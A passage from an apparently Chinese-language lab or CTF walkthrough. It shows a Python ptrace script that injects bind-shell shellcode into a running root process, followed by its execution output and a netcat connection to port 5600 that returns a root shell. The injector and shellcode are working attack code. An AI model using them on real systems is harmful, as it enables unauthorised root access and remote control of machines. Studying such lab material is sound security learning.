PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
- 脚本的默认监听端口是
5600
- 使用
ss -pantu | grep 5600
确认是否成功
saket@ubuntu:/tmp$ python2.7 inject.py 888
python2.7 inject.py 888
Instruction Pointer: 0x7fddc8b470daL
Injecting Shellcode at: 0x7fddc8b470daL
Shellcode Injected!!
Final Instruction Pointer: 0x7fddc8b470dcL
saket@ubuntu:/tmp$ ss -pantu | grep 5600
ss -pantu | grep 5600
tcp LISTEN 0 0 0.0.0.0:5600 0.0.0.0:*
最后一步,使用 netcat
连接目标的 5600 端口
┌──(kali㉿kali)-[~/workspace]
└─$ nc 192.168.56.118 5600
id
uid=0(root) gid=0(root) groups=0(root)
结束 GAME OVER